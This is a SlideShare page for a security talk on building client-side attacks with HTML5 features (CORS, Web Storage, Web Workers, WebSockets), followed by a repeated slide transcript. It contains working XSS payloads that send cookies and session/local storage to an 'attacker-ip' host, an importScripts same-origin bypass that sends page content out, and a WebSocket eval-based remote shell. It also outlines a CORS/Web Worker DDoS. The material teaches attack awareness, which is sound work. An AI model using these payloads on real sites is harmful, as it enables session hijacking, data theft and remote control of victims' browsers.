SlideShare a Scribd company logo
Building Client-Side Attacks with
       <HTML5> features




            Tiago Ferreira
           tiago.ccna@gmail.com
AGENDA
ABOUT ME


•   Almost 4 years working with IT network devices and 5
    years with security (MSS, Pentest, VA, etc).

•   Focus on Web Application vulnerabilities exploitation.

•   Security analyst at CONVISO Application Security.

•   Member of the research group Alligator Security Team.
A few words about Same Origin Policy
•   Perhaps the most important security concept within modern browsers.

•   The policy permits scripts running on pages originating from the same
    site to access each other‘s.

•   Prevents access to most methods and properties across pages on
    different sites.

•   An origin is defined by the protocol, host/domain, and port of a URL:

     o   http://www.example.com/dir/page.html
     o   https://www.example.com/dir/page2.html
     o   http://www.example.com:8080/dir/page.html
     o   http://en.example.com/dir/other.html

•   In practice, there is no single same-origin policy:

     o   DOM access, XMLHttpRequest, Cookies, Flash, Java. Silverlight,
         etc
HTML5 Overview
•   The Hypertext Markup Language version 5 (HTML5) is the
    successor of HTML 4.01, XHTML 1.0 and XHTML 1.1.

•   It brings several new technologies to the browser which have
    never been, such as:

     o   New DOM interfaces
     o   New forms elements
     o   Enhanced XHR (Level 2)
     o   Web Storage
     o   Web Socket
     o   Web Workers
     o   File API
     o   Many new attributes

•   HTML5 provides new features to web applications but also
    introduces new security issues.
CORS - (Cross-Origin
  Resource Sharing)
CORS

•   CORS is a web browser technology that enables client-side API
    to make cross-origin requests to external resources.

•   New HTTP header is defined "Access-Control-Allow-Origin" .

        HTTP/1.1 200 OK
        Server: Apache
        Content-Type: text/html
        Access-Control-Allow-Origin: http://example.com/


•   First the UA makes the request to the foreign domain and then
    checks the access control based on the returned Access-Control-
    Allow-Origin header.

•   The decision whether the API (XMLHttpRequest) is allowed to
    access foreing domains is made in UA.
CORS

•   Potential threats

     o   Information gathering
           - Response time based intranet scanning

     o   Universal Allow
          - Bypass access control

     o   Remote attacking a web server
         - UA can be used to attack another web server

     o   DDoS attacks combined with Web Workers
Web Storage
Web Storage
•   Web Storage gives websites the possibility to store data on the
    user's browser. The information can be accessed later using
    JavaScript.

•   Web storage offers two different storage areas:

     o   Local Storage
     o   Session Storage

•   Web storage provides far greater storage capacity (depends on
    browser between 5MB to 10MB).

•   It is supported by: Internet Explorer 8, Mozilla-based browsers
    (e.g., Firefox 2+, officially from 3.5), Safari 4, Google Chrome 4
    (sessionStorage is from 5), Opera 10.50.
localStorage
•   Data placed in local storage is per domain and persists after the
    browser is closed.

•   To store value on the browser:

     o   localStorage.setItem(key, value);

•   To read value stored on the browser;

     o   localStorage.getItem(key);

•   Security considerations:

     o   Sensitive data can be stolen;
     o   Data can be spoofed;
     o   Persistent attack vectors.
sessionStorage

•   Session storage is per-page-per-window and is limited to the
    lifetime of the window.

•   Store value on the browser:

     o   sessionStorage.setItem('key', 'value');

•   Read value stored on the browser:

     o   sessionStorage.getItem(key);

•   Security considerations:

     o   There’s no ‘path’ atribute;
     o   There’s no ‘httpOnly’ atribute;
     o   Session hijacking (xss, session fixation).
Attack: Session hijacking using XSS


•   Old XSS payload to get cookies

    var a=new Image(); a.src=“http://attacker-ip/cookie=“ + document.cookie;


•   New XSS payload

    var a=new Image(); a.src=“http://attacker-ip/cookie=“+
    sessionStorage.getItem(‘SessionID’);
Attack: Session hijacking using XSS

                                                          DEMO

<script>
for(var i = 0; i < sessionStorage.length; i++){
   var key = sessionStorage.key(i);
   var a = new Image();

   a.src="http://attacker-ip/Storage.html?key=" + key +
        "&value=" + sessionStorage.getItem(key);

}
</script>
Attack: Stealing HTML5 localStorage

                                                          DEMO

<script>
for(var i = 0; i < localStorage.length; i++){
   var key = localStorage.key(i);
   var a = new Image();

   a.src="http://attacker-ip/Storage.html?key=" + key +
        “ &value=" + localStorage.getItem(key);

}
</script>
Web workers
Web workers

•   API for spawning background scripts in web
    application via JavaScript.

     o   Real OS-level threads and concurrency.
     o   Managed communication through posting
         messages to background worker.

•   Web Workers run in an isolated thread.

•   Workers do NOT have access to: DOM, window,
    document, and parent objects.

•   Security validation based in same-origin principle.
Spawning a worker

  http://owasp.org/index.html


<script>
var worker = new Worker("worker.js");
a
worker.onmessage = function(event){     http://owasp.org/worker.js
document.getElementById('response„).t    self.onmessage = function(event){
extContet = event.data                     self.postMessage('Hello World');

};                                       };
worker.postMessage();
</script>
…
<pre id=“response” value=“ “>
Workers – Available features
•   The location object (read-only).

•   The navigator object

•   setTimeout()/clearTimeout() and setInterval()/clearInterval().

•   Spawning other web workers.

•   postMessage()
     o send data to worker (strings, JSON object, etc).


•   Event support (addEventListener, dispatchEvent, removeEventLlistener).

•   importScripts
     o importScript(‘http://external.com/script.js’).


•   XMLHttpRequests.
Sending data to worker

 http://owasp.org/index.html
<script>
var worker = new
Worker("worker.js");

                                    http://owasp.org/worker.js
worker.onmessage =
function(event){
                                   self.onmessage = function(event){
                                     self.postMessage(event);
document.getElementById('respo
nse„).textContet = event.data;
                                   };
};

worker.postMessage(„Hello
OWASP Floripa`);
</script>
Attack: Bypass SOP with importScripts()

  •   Workers makes a natural sandbox for running untrusted code.

  •   Workers can’t access page content.

  •   ImportScripts() permits run thirdy party code in your domain.
http://owasp.org/teste.js

var sandbox=new Worker(„sandbox.js‟)
sandbox.postMessage(„http://external.sit   http://owasp.org/sandbox.js
e/badguy.js‟);

                                           onmessage=function(e){
                                                  importScripts(e.data);
                                                  postMessage(this[„someUnt
                                                  rustedFunction‟]());
                                           }
Attack: Bypass SOP with importScripts()

•   But workers can run XMLHttpRequests
                                                                                  DEMO
     o     Script is running in the domain of the parent page.
           (http:/owasp.org/teste.js).

     o     Can read any content on your domain.

         http://external.site/badguy.js

         var xhr = new XMLHttpRequest();
         xhr.open('GET', 'http://owasp.org/index.html', true);
         xhr.send();
         xhr.onreadystatechange = function(remote_data){
              if (remote_data.target.readyState == 4){
                    var remote_data = remote_data.target.responseText;
                    importScripts('http://external.site/remote-page-content=' +
         remote_data);
              };
         };
Attack: DDoS with CORS and Web Workers

•   Start a WebWorker that would fire multiple Cross Origin
    Requests at the target.

•   Thanks CORS that can send GET/POST requests to
    any website.

•   Sending a cross domain GET request is nothing new
    (IMG tag or SCRIPT).

•   So simply by getting someone to visit a URL you can
    get them to send 10,000 HTTP requests/minute.

•   Can be spread with social engineering techniques
    (malicious URL, XSS vulnerabilities).
Attack: DDoS with CORS and Web Workers

                                          Target Web Site
XSS victims




                                        Vulnerable XSS web site




DEMO
                          Attacker injects XSS payload
Web Sockets
Web Sockets
•   Web Sockets is a web technology that provides bi-directional,
    full-duplex communications channels over a single TCP
    connection.

•   The connection is established by upgrading from the HTTP to the
    Web Socket protocol.

•   Web servers are now able to send content to the browser without
    being solicited by the client, wich allows messages to be passed
    back and forth while keeping the connection open.

•   URI Scheme: ws:// and wss://

•   Threats that can be exploited:

     o   Remote Shell, Web-Based Botnet, Port scanning
Web Sockets
Web Sockets – XSS Shell

                                                           DEMO
<script>

var connection = new WebSocket('ws://attacker-ip:port');
   connection.onopen = function (){
      connection.send(„null‟);
    };

connection.onmessage = function(event){
   eval(event.data);
};

</script>
References

•   The Websocket Protocol (http://tools.ietf.org/html/rfc6455)

•   Web Workers (http://www.w3.org/TR/workers/)

•   Web Storage (http://www.w3.org/TR/webstorage/)

•   Attack & Defense Labs (http://blog.andlabs.org/)

•   HTML5 Rocks (http://www.html5rocks.com/).

•   HTML5 Web Security - Michael Schmidt

•   The World According to KOTO (http://blog.kotowicz.net/)

•   Shreeraj's security blog (http://shreeraj.blogspot.in/)
Questions ?

More Related Content

PDF
Krzysztof Kotowicz - Hacking HTML5
PDF
Html5 hacking
PDF
Html5: something wicked this way comes - HackPra
PPTX
A Forgotten HTTP Invisibility Cloak
PDF
Racing The Web - Hackfest 2016
PDF
Entity provider selection confusion attacks in JAX-RS applications
PPTX
MITM Attacks on HTTPS: Another Perspective
PPTX
OWASP San Diego Training Presentation
Krzysztof Kotowicz - Hacking HTML5
Html5 hacking
Html5: something wicked this way comes - HackPra
A Forgotten HTTP Invisibility Cloak
Racing The Web - Hackfest 2016
Entity provider selection confusion attacks in JAX-RS applications
MITM Attacks on HTTPS: Another Perspective
OWASP San Diego Training Presentation

What's hot (20)

PPTX
Post XSS Exploitation : Advanced Attacks and Remedies
PPTX
WAF Bypass Techniques - Using HTTP Standard and Web Servers’ Behaviour
PPTX
Flash it baby!
KEY
Apache Cookbook - TekX Chicago 2010
PPTX
Fun with exploits old and new
PDF
Hack Into Drupal Sites (or, How to Secure Your Drupal Site)
PDF
Hack proof your ASP NET Applications
PPTX
Hacking Wordpress Plugins
PPTX
How to discover 1352 Wordpress plugin 0days in one hour (not really)
PPTX
How to discover 1352 Wordpress plugin 0days in one hour (not really)
PPTX
Tornado - different Web programming
PDF
Hacking Adobe Experience Manager sites
PPTX
Security vulnerabilities - 2018
PPTX
Node.js: The What, The How and The When
PDF
Neat tricks to bypass CSRF-protection
PPTX
[CB16] Esoteric Web Application Vulnerabilities by Andrés Riancho
PDF
Lie to Me: Bypassing Modern Web Application Firewalls
KEY
Apache Wizardry - Ohio Linux 2011
PDF
Jwt == insecurity?
PPT
Mining Ruby Gem vulnerabilities for Fun and No Profit.
Post XSS Exploitation : Advanced Attacks and Remedies
WAF Bypass Techniques - Using HTTP Standard and Web Servers’ Behaviour
Flash it baby!
Apache Cookbook - TekX Chicago 2010
Fun with exploits old and new
Hack Into Drupal Sites (or, How to Secure Your Drupal Site)
Hack proof your ASP NET Applications
Hacking Wordpress Plugins
How to discover 1352 Wordpress plugin 0days in one hour (not really)
How to discover 1352 Wordpress plugin 0days in one hour (not really)
Tornado - different Web programming
Hacking Adobe Experience Manager sites
Security vulnerabilities - 2018
Node.js: The What, The How and The When
Neat tricks to bypass CSRF-protection
[CB16] Esoteric Web Application Vulnerabilities by Andrés Riancho
Lie to Me: Bypassing Modern Web Application Firewalls
Apache Wizardry - Ohio Linux 2011
Jwt == insecurity?
Mining Ruby Gem vulnerabilities for Fun and No Profit.
Ad

Viewers also liked (20)

PDF
DTS Solution - ISACA UAE Chapter - ISAFE 2014 - RU PWNED - Living a Life as a...
PDF
Clientside attack using HoneyClient Technology
PPT
The Beginning Of World War Ii
PDF
Cyber Security Visualization
PDF
Honeywall roo 2
PDF
Comparative Study of Mod Security (Autosaved)
PPT
The real and another
PPT
Staged Patching Approach in Oracle E-Business Suite
PPTX
Ldap injection
PPTX
Detecting Evasive Malware in Sandbox
PPTX
Let Your Mach-O Fly, Black Hat DC 2009
PDF
3 Enablers of Successful Cyber Attacks and How to Thwart Them
PPTX
How to Audit Firewall, what are the standard Practices for Firewall Audit
PDF
Client Side Honeypots
PPTX
Veil Evasion and Client Side Attacks
PPT
Next Generation Advanced Malware Detection and Defense
PPT
Firewall Penetration Testing
PDF
Honeycon2016-honeypot updates for public
PPTX
The Veil-Framework
PDF
AV Evasion with the Veil Framework
DTS Solution - ISACA UAE Chapter - ISAFE 2014 - RU PWNED - Living a Life as a...
Clientside attack using HoneyClient Technology
The Beginning Of World War Ii
Cyber Security Visualization
Honeywall roo 2
Comparative Study of Mod Security (Autosaved)
The real and another
Staged Patching Approach in Oracle E-Business Suite
Ldap injection
Detecting Evasive Malware in Sandbox
Let Your Mach-O Fly, Black Hat DC 2009
3 Enablers of Successful Cyber Attacks and How to Thwart Them
How to Audit Firewall, what are the standard Practices for Firewall Audit
Client Side Honeypots
Veil Evasion and Client Side Attacks
Next Generation Advanced Malware Detection and Defense
Firewall Penetration Testing
Honeycon2016-honeypot updates for public
The Veil-Framework
AV Evasion with the Veil Framework
Ad

Similar to Building Client-Side Attacks with HTML5 Features (20)

PDF
Hacking HTML5 offensive course (Zeronights edition)
PPSX
Attacking HTML5
PPTX
Html5 security
PPTX
Browser Hacking For Fun and Profit | Null Bangalore Meetup 2019 | Divyanshu S...
PDF
Html5 Application Security
PDF
Going Beyond Cross Domain Boundaries (jQuery Bulgaria)
PPTX
Warning Ahead: SecurityStorms are Brewing in Your JavaScript
PPT
Sanjeev ghai 12
PPTX
introduction to node.js
KEY
Cross Site Scripting - Mozilla Security Learning Center
KEY
HTML5 vs Silverlight
PPTX
Browser Internals-Same Origin Policy
PDF
Jinx - Malware 2.0
PDF
Nodejs a-practical-introduction-oredev
PPTX
Cross Site Scripting (XSS)
PDF
Do you lose sleep at night?
PDF
Chrome extensions threat analysis and countermeasures
PPT
Browser security
PPTX
Building Secure User Interfaces With JWTs
PDF
Denis Baranov - Root via XSS
Hacking HTML5 offensive course (Zeronights edition)
Attacking HTML5
Html5 security
Browser Hacking For Fun and Profit | Null Bangalore Meetup 2019 | Divyanshu S...
Html5 Application Security
Going Beyond Cross Domain Boundaries (jQuery Bulgaria)
Warning Ahead: SecurityStorms are Brewing in Your JavaScript
Sanjeev ghai 12
introduction to node.js
Cross Site Scripting - Mozilla Security Learning Center
HTML5 vs Silverlight
Browser Internals-Same Origin Policy
Jinx - Malware 2.0
Nodejs a-practical-introduction-oredev
Cross Site Scripting (XSS)
Do you lose sleep at night?
Chrome extensions threat analysis and countermeasures
Browser security
Building Secure User Interfaces With JWTs
Denis Baranov - Root via XSS

More from Conviso Application Security (20)

PDF
Entendendo o PCI-DSS
PDF
Integrando testes de segurança ao processo de desenvolvimento de software
PDF
Uma verdade inconveniente - Quem é responsável pela INsegurança das aplicações?
PDF
“Web Spiders” – Automação para Web Hacking
PDF
Você Escreve Código e Quem Valida?
PDF
Testar não é suficiente. Tem que fazer direito!
PDF
Implementando Segurança em desenvolvimento com a verdadeira ISO
PDF
Automatizando a análise passiva de aplicações Web
PDF
Você confia nas suas aplicações mobile?
KEY
Pentest em Aplicações Móveis
KEY
MASP: Um processo racional para garantir o nível de proteção das aplicações w...
PDF
HTML5 Seguro ou Inseguro?
PDF
Threats from economical improvement rss 2010
PPT
O processo de segurança em desenvolvimento, que não é ISO 15.408
PDF
Encontrando falhas em aplicações web baseadas em flash
PPTX
Protegendo Aplicações Php com PHPIDS - Php Conference 2009
PPTX
Playing Web Fuzzing - H2HC 2009
PPT
OWASP Top 10 e aplicações .Net - Tech-Ed 2007
PDF
Abotoaduras & Bonés
PPT
Tratando as vulnerabilidades do Top 10 com php
Entendendo o PCI-DSS
Integrando testes de segurança ao processo de desenvolvimento de software
Uma verdade inconveniente - Quem é responsável pela INsegurança das aplicações?
“Web Spiders” – Automação para Web Hacking
Você Escreve Código e Quem Valida?
Testar não é suficiente. Tem que fazer direito!
Implementando Segurança em desenvolvimento com a verdadeira ISO
Automatizando a análise passiva de aplicações Web
Você confia nas suas aplicações mobile?
Pentest em Aplicações Móveis
MASP: Um processo racional para garantir o nível de proteção das aplicações w...
HTML5 Seguro ou Inseguro?
Threats from economical improvement rss 2010
O processo de segurança em desenvolvimento, que não é ISO 15.408
Encontrando falhas em aplicações web baseadas em flash
Protegendo Aplicações Php com PHPIDS - Php Conference 2009
Playing Web Fuzzing - H2HC 2009
OWASP Top 10 e aplicações .Net - Tech-Ed 2007
Abotoaduras & Bonés
Tratando as vulnerabilidades do Top 10 com php

Recently uploaded (20)

PDF
Modernizing your data center with Dell and AMD
DOCX
The AUB Centre for AI in Media Proposal.docx
PDF
Unlocking AI with Model Context Protocol (MCP)
PDF
The Rise and Fall of 3GPP – Time for a Sabbatical?
PPTX
VMware vSphere Foundation How to Sell Presentation-Ver1.4-2-14-2024.pptx
PDF
How UI/UX Design Impacts User Retention in Mobile Apps.pdf
PDF
Blue Purple Modern Animated Computer Science Presentation.pdf.pdf
PDF
Electronic commerce courselecture one. Pdf
PDF
Build a system with the filesystem maintained by OSTree @ COSCUP 2025
PDF
Diabetes mellitus diagnosis method based random forest with bat algorithm
PDF
Chapter 3 Spatial Domain Image Processing.pdf
PPTX
Cloud computing and distributed systems.
PPT
“AI and Expert System Decision Support & Business Intelligence Systems”
PDF
NewMind AI Weekly Chronicles - August'25 Week I
PDF
Network Security Unit 5.pdf for BCA BBA.
PDF
Building Integrated photovoltaic BIPV_UPV.pdf
PDF
Reach Out and Touch Someone: Haptics and Empathic Computing
PDF
CIFDAQ's Market Insight: SEC Turns Pro Crypto
PDF
Shreyas Phanse Resume: Experienced Backend Engineer | Java • Spring Boot • Ka...
PDF
Agricultural_Statistics_at_a_Glance_2022_0.pdf
Modernizing your data center with Dell and AMD
The AUB Centre for AI in Media Proposal.docx
Unlocking AI with Model Context Protocol (MCP)
The Rise and Fall of 3GPP – Time for a Sabbatical?
VMware vSphere Foundation How to Sell Presentation-Ver1.4-2-14-2024.pptx
How UI/UX Design Impacts User Retention in Mobile Apps.pdf
Blue Purple Modern Animated Computer Science Presentation.pdf.pdf
Electronic commerce courselecture one. Pdf
Build a system with the filesystem maintained by OSTree @ COSCUP 2025
Diabetes mellitus diagnosis method based random forest with bat algorithm
Chapter 3 Spatial Domain Image Processing.pdf
Cloud computing and distributed systems.
“AI and Expert System Decision Support & Business Intelligence Systems”
NewMind AI Weekly Chronicles - August'25 Week I
Network Security Unit 5.pdf for BCA BBA.
Building Integrated photovoltaic BIPV_UPV.pdf
Reach Out and Touch Someone: Haptics and Empathic Computing
CIFDAQ's Market Insight: SEC Turns Pro Crypto
Shreyas Phanse Resume: Experienced Backend Engineer | Java • Spring Boot • Ka...
Agricultural_Statistics_at_a_Glance_2022_0.pdf

Building Client-Side Attacks with HTML5 Features

  • 1. Building Client-Side Attacks with <HTML5> features Tiago Ferreira tiago.ccna@gmail.com
  • 3. ABOUT ME • Almost 4 years working with IT network devices and 5 years with security (MSS, Pentest, VA, etc). • Focus on Web Application vulnerabilities exploitation. • Security analyst at CONVISO Application Security. • Member of the research group Alligator Security Team.
  • 4. A few words about Same Origin Policy • Perhaps the most important security concept within modern browsers. • The policy permits scripts running on pages originating from the same site to access each other‘s. • Prevents access to most methods and properties across pages on different sites. • An origin is defined by the protocol, host/domain, and port of a URL: o http://www.example.com/dir/page.html o https://www.example.com/dir/page2.html o http://www.example.com:8080/dir/page.html o http://en.example.com/dir/other.html • In practice, there is no single same-origin policy: o DOM access, XMLHttpRequest, Cookies, Flash, Java. Silverlight, etc
  • 5. HTML5 Overview • The Hypertext Markup Language version 5 (HTML5) is the successor of HTML 4.01, XHTML 1.0 and XHTML 1.1. • It brings several new technologies to the browser which have never been, such as: o New DOM interfaces o New forms elements o Enhanced XHR (Level 2) o Web Storage o Web Socket o Web Workers o File API o Many new attributes • HTML5 provides new features to web applications but also introduces new security issues.
  • 6. CORS - (Cross-Origin Resource Sharing)
  • 7. CORS • CORS is a web browser technology that enables client-side API to make cross-origin requests to external resources. • New HTTP header is defined "Access-Control-Allow-Origin" . HTTP/1.1 200 OK Server: Apache Content-Type: text/html Access-Control-Allow-Origin: http://example.com/ • First the UA makes the request to the foreign domain and then checks the access control based on the returned Access-Control- Allow-Origin header. • The decision whether the API (XMLHttpRequest) is allowed to access foreing domains is made in UA.
  • 8. CORS • Potential threats o Information gathering - Response time based intranet scanning o Universal Allow - Bypass access control o Remote attacking a web server - UA can be used to attack another web server o DDoS attacks combined with Web Workers
  • 10. Web Storage • Web Storage gives websites the possibility to store data on the user's browser. The information can be accessed later using JavaScript. • Web storage offers two different storage areas: o Local Storage o Session Storage • Web storage provides far greater storage capacity (depends on browser between 5MB to 10MB). • It is supported by: Internet Explorer 8, Mozilla-based browsers (e.g., Firefox 2+, officially from 3.5), Safari 4, Google Chrome 4 (sessionStorage is from 5), Opera 10.50.
  • 11. localStorage • Data placed in local storage is per domain and persists after the browser is closed. • To store value on the browser: o localStorage.setItem(key, value); • To read value stored on the browser; o localStorage.getItem(key); • Security considerations: o Sensitive data can be stolen; o Data can be spoofed; o Persistent attack vectors.
  • 12. sessionStorage • Session storage is per-page-per-window and is limited to the lifetime of the window. • Store value on the browser: o sessionStorage.setItem('key', 'value'); • Read value stored on the browser: o sessionStorage.getItem(key); • Security considerations: o There’s no ‘path’ atribute; o There’s no ‘httpOnly’ atribute; o Session hijacking (xss, session fixation).
  • 13. Attack: Session hijacking using XSS • Old XSS payload to get cookies var a=new Image(); a.src=“http://attacker-ip/cookie=“ + document.cookie; • New XSS payload var a=new Image(); a.src=“http://attacker-ip/cookie=“+ sessionStorage.getItem(‘SessionID’);
  • 14. Attack: Session hijacking using XSS DEMO <script> for(var i = 0; i < sessionStorage.length; i++){ var key = sessionStorage.key(i); var a = new Image(); a.src="http://attacker-ip/Storage.html?key=" + key + "&value=" + sessionStorage.getItem(key); } </script>
  • 15. Attack: Stealing HTML5 localStorage DEMO <script> for(var i = 0; i < localStorage.length; i++){ var key = localStorage.key(i); var a = new Image(); a.src="http://attacker-ip/Storage.html?key=" + key + “ &value=" + localStorage.getItem(key); } </script>
  • 17. Web workers • API for spawning background scripts in web application via JavaScript. o Real OS-level threads and concurrency. o Managed communication through posting messages to background worker. • Web Workers run in an isolated thread. • Workers do NOT have access to: DOM, window, document, and parent objects. • Security validation based in same-origin principle.
  • 18. Spawning a worker http://owasp.org/index.html <script> var worker = new Worker("worker.js"); a worker.onmessage = function(event){ http://owasp.org/worker.js document.getElementById('response„).t self.onmessage = function(event){ extContet = event.data self.postMessage('Hello World'); }; }; worker.postMessage(); </script> … <pre id=“response” value=“ “>
  • 19. Workers – Available features • The location object (read-only). • The navigator object • setTimeout()/clearTimeout() and setInterval()/clearInterval(). • Spawning other web workers. • postMessage() o send data to worker (strings, JSON object, etc). • Event support (addEventListener, dispatchEvent, removeEventLlistener). • importScripts o importScript(‘http://external.com/script.js’). • XMLHttpRequests.
  • 20. Sending data to worker http://owasp.org/index.html <script> var worker = new Worker("worker.js"); http://owasp.org/worker.js worker.onmessage = function(event){ self.onmessage = function(event){ self.postMessage(event); document.getElementById('respo nse„).textContet = event.data; }; }; worker.postMessage(„Hello OWASP Floripa`); </script>
  • 21. Attack: Bypass SOP with importScripts() • Workers makes a natural sandbox for running untrusted code. • Workers can’t access page content. • ImportScripts() permits run thirdy party code in your domain. http://owasp.org/teste.js var sandbox=new Worker(„sandbox.js‟) sandbox.postMessage(„http://external.sit http://owasp.org/sandbox.js e/badguy.js‟); onmessage=function(e){ importScripts(e.data); postMessage(this[„someUnt rustedFunction‟]()); }
  • 22. Attack: Bypass SOP with importScripts() • But workers can run XMLHttpRequests DEMO o Script is running in the domain of the parent page. (http:/owasp.org/teste.js). o Can read any content on your domain. http://external.site/badguy.js var xhr = new XMLHttpRequest(); xhr.open('GET', 'http://owasp.org/index.html', true); xhr.send(); xhr.onreadystatechange = function(remote_data){ if (remote_data.target.readyState == 4){ var remote_data = remote_data.target.responseText; importScripts('http://external.site/remote-page-content=' + remote_data); }; };
  • 23. Attack: DDoS with CORS and Web Workers • Start a WebWorker that would fire multiple Cross Origin Requests at the target. • Thanks CORS that can send GET/POST requests to any website. • Sending a cross domain GET request is nothing new (IMG tag or SCRIPT). • So simply by getting someone to visit a URL you can get them to send 10,000 HTTP requests/minute. • Can be spread with social engineering techniques (malicious URL, XSS vulnerabilities).
  • 24. Attack: DDoS with CORS and Web Workers Target Web Site XSS victims Vulnerable XSS web site DEMO Attacker injects XSS payload
  • 26. Web Sockets • Web Sockets is a web technology that provides bi-directional, full-duplex communications channels over a single TCP connection. • The connection is established by upgrading from the HTTP to the Web Socket protocol. • Web servers are now able to send content to the browser without being solicited by the client, wich allows messages to be passed back and forth while keeping the connection open. • URI Scheme: ws:// and wss:// • Threats that can be exploited: o Remote Shell, Web-Based Botnet, Port scanning
  • 28. Web Sockets – XSS Shell DEMO <script> var connection = new WebSocket('ws://attacker-ip:port'); connection.onopen = function (){ connection.send(„null‟); }; connection.onmessage = function(event){ eval(event.data); }; </script>
  • 29. References • The Websocket Protocol (http://tools.ietf.org/html/rfc6455) • Web Workers (http://www.w3.org/TR/workers/) • Web Storage (http://www.w3.org/TR/webstorage/) • Attack & Defense Labs (http://blog.andlabs.org/) • HTML5 Rocks (http://www.html5rocks.com/). • HTML5 Web Security - Michael Schmidt • The World According to KOTO (http://blog.kotowicz.net/) • Shreeraj's security blog (http://shreeraj.blogspot.in/)